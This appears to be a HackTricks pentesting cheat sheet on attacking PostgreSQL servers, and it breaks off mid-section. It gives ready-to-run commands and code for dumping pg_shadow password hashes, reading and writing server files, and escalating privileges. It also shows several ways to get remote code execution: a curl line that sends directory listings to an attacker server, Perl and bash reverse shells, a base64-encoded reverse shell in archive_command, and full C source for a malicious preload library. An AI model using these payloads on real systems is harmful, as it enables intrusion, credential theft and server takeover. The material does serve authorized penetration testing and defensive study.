HackTricks
HackTricks
Ask or searchโ€ฆ
โŒƒK
Links

5432,5433 - Pentesting Postgresql

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:

Basic Information

PostgreSQL is described as an object-relational database system that is open source. This system not only utilizes the SQL language but also enhances it with additional features. Its capabilities allow it to handle a wide range of data types and operations, making it a versatile choice for developers and organizations.
Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
PORT STATE SERVICE
5432/tcp open pgsql

Connect & Basic Enum

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
โ€‹
# Get current user
SELECT user;
โ€‹
# Get current database
SELECT current_catalog;
โ€‹
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
โ€‹
#List databases
SELECT datname FROM pg_database;
โ€‹
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
โ€‹
# Get languages
SELECT lanname,lanacl FROM pg_language;
โ€‹
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
โ€‹
# Get history of commands executed
\s
If running \list you find a database called rdsadmin you know you are inside an AWS postgresql database.
For more information about how to abuse a PostgreSQL database check:

Automatic Enumeration

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

โ€‹Brute forceโ€‹

Port scanning

According to this research, when a connection attempt fails, dblink throws an sqlclient_unable_to_establish_sqlconnection exception including an explanation of the error. Examples of these details are listed below.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • Host is down
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port is closed
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port is open
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
or
DETAIL: FATAL: password authentication failed for user "name"
  • Port is open or filtered
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.

Enumeration of Privileges

Roles

Role Types
Text
rolsuper
Role has superuser privileges
rolinherit
Role automatically inherits privileges of roles it is a member of
rolcreaterole
Role can create more roles
rolcreatedb
Role can create databases
rolcanlogin
Role can log in. That is, this role can be given as the initial session authorization identifier
rolreplication
Role is a replication role. A replication role can initiate replication connections and create and drop replication slots.
rolconnlimit
For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit.
rolpassword
Not the password (always reads as ********)
rolvaliduntil
Password expiry time (only used for password authentication); null if no expiration
rolbypassrls
Role bypasses every row-level security policy, see Section 5.8 for more information.
rolconfig
Role-specific defaults for run-time configuration variables
oid
ID of role

Interesting Groups

  • If you are a member of pg_execute_server_program you can execute programs
  • If you are a member of pg_read_server_files you can read files
  • If you are a member of pg_write_server_files you can write files
Note that in Postgres a user, a group and a role is the same. It just depend on how you use it and if you allow it to login.
# Get users roles
\du
โ€‹
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
โ€‹
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
โ€‹
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
โ€‹
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tables

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
โ€‹
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
โ€‹
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Functions

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
โ€‹
# Get all functions of a schema
\df pg_catalog.*
โ€‹
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
โ€‹
# Another aparent option
SELECT * FROM pg_proc;

File-system actions

Read directories and files

From this commit members of the defined DEFAULT_ROLE_READ_SERVER_FILES group (called pg_read_server_files) and super users can use the COPY method on any path (check out convert_and_check_filename in genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_read_server_files TO username;
โ€‹More info.โ€‹
There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
โ€‹
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
โ€‹
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
โ€‹
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Simple File Writing

Only super users and members of pg_write_server_files can use copy to write files.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_write_server_files TO username;
โ€‹More info.โ€‹
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner. A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.

Binary files upload

However, there are other techniques to upload big binary files:

โ€‹
โ€‹

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Updating PostgreSQL table data via local file write

If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by overwriting the associated file node in the PostgreSQL data directory. More on this technique here.
Required steps:
  1. 1.
    Obtain the PostgreSQL data directory
    SELECT setting FROM pg_settings WHERE name = 'data_directory';
    Note: If you are unable to retrieve the current data directory path from settings, you can query the major PostgreSQL version through the SELECT version() query and try to brute-force the path. Common data directory paths on Unix installations of PostgreSQL are /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. A common cluster name is main.
  2. 2.
    Obtain a relative path to the filenode, associated with the target table
    SELECT pg_relation_filepath('{TABLE_NAME}')
    This query should return something like base/3/1337. The full path on disk will be $DATA_DIRECTORY/base/3/1337, i.e. /var/lib/postgresql/13/main/base/3/1337.
  3. 3.
    Download the filenode through the lo_* functions
    SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  4. 4.
    Get the datatype, associated with the target table
    SELECT
    STRING_AGG(
    CONCAT_WS(
    ',',
    attname,
    typname,
    attlen,
    attalign
    ),
    ';'
    )
    FROM pg_attribute
    JOIN pg_type
    ON pg_attribute.atttypid = pg_type.oid
    JOIN pg_class
    ON pg_attribute.attrelid = pg_class.oid
    WHERE pg_class.relname = '{TABLE_NAME}';
  5. 5.
    Use the PostgreSQL Filenode Editor to edit the filenode; set all rol* boolean flags to 1 for full permissions.
    python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
    PostgreSQL Filenode Editor Demo
  6. 6.
    Re-upload the edited filenode via the lo_* functions, and overwrite the original file on the disk
    SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
    SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  7. 7.
    (Optionally) Clear the in-memory table cache by running an expensive SQL query
    SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  8. 8.
    You should now see updated table values in the PostgreSQL.
You can also become a superadmin by editing the pg_authid table. See the following section.

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Example to exec:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
โ€‹
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:
GRANT pg_execute_server_program TO username;
โ€‹More info.โ€‹
Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit. More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

PostgreSQL configuration file RCE

The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

RCE with ssl_passphrase_command

More information about this technique here.
The configuration file have some interesting attributes that can lead to RCE:
  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Path to the private key of the database
  • ssl_passphrase_command = '' If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.
  • ssl_passphrase_command_supports_reload = off If this attribute is on the command executed if the key is protected by password will be executed when pg_reload_conf() is executed.
Then, an attacker will need to:
  1. 1.
    Dump private key from the server
  2. 2.
    Encrypt downloaded private key:
    1. 1.
      rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  3. 3.
    Overwrite
  4. 4.
    Dump the current postgresql configuration
  5. 5.
    Overwrite the configuration with the mentioned attributes configuration:
    1. 1.
      ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
    2. 2.
      ssl_passphrase_command_supports_reload = on
  6. 6.
    Execute pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

RCE with archive_command

Another attribute in the configuration file that is exploitable is archive_command.
For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.
The general steps are:
  1. 1.
    Check whether archive mode is enabled: SELECT current_setting('archive_mode')
  2. 2.
    Overwrite archive_command with the payload. For eg, a reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 3.
    Reload the config: SELECT pg_reload_conf()
  4. 4.
    Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal() or SELECT pg_switch_xlog() for some Postgres versions

RCE with preload libraries

More information about this technique here.
This attack vector takes advantage of the following configuration variables:
  • session_preload_libraries -- libraries that will be loaded by the PostgreSQL server at the client connection.
  • dynamic_library_path -- list of directories where the PostgreSQL server will search for the libraries.
We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.
The attack steps are:
  1. 1.
    Download the original postgresql.conf
  2. 2.
    Include the /tmp/ directory in the dynamic_library_path value, e.g. dynamic_library_path = '/tmp:$libdir'
  3. 3.
    Include the malicious library name in the session_preload_libraries value, e.g. session_preload_libraries = 'payload.so'
  4. 4.
    Check major PostgreSQL version via the SELECT version() query
  5. 5.
    Compile the malicious library code with the correct PostgreSQL dev package Sample code:
    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include "postgres.h"
    #include "fmgr.h"
    #ifdef PG_MODULE_MAGIC
    PG_MODULE_MAGIC;
    #endif
    void _init() {
    /*
    code taken from https://www.revshells.com/
    */
    int port = REVSHELL_PORT;
    struct sockaddr_in revsockaddr;
    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
    char * const argv[] = {"/bin/bash", NULL};
    execve("/bin/bash", argv, NULL);
    }
    Compiling the code:
    gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  6. 6.
    Upload the malicious postgresql.conf, created in steps 2-3, and overwrite the original one
  7. 7.
    Upload the payload.so from step 5 to the /tmp directory
  8. 8.
    Reload the server configuration by restarting the server or invoking the SELECT pg_reload_conf() query
  9. 9.
    At the next DB connection, you will receive the reverse shell connection.

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modify Password

Users with this role can also change the passwords of other non-superusers:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER role:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
This is usually possible because of the following lines in the pg_hba.conf file:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust

ALTER TABLE privesc

In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.
When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:
Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table ownerโ€™s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. 1.
    Start by creating a new table.
  2. 2.
    Insert some irrelevant content into the table to provide data for the index function.
  3. 3.
    Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.
  4. 4.
    ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.
  5. 5.
    Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.
In PostgreSQL, this flow looks something like this:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Then, the shell_commands_results table will contain the output of the executed code:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Local Login

Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink function:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Note that for the previos query to work the function dblink needs to exist. If it doesn't you could try to create it with
CREATE EXTENSION dblink;
If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
It's possible to check if this function exists with:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Custom defined function with SECURITY DEFINER

โ€‹In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'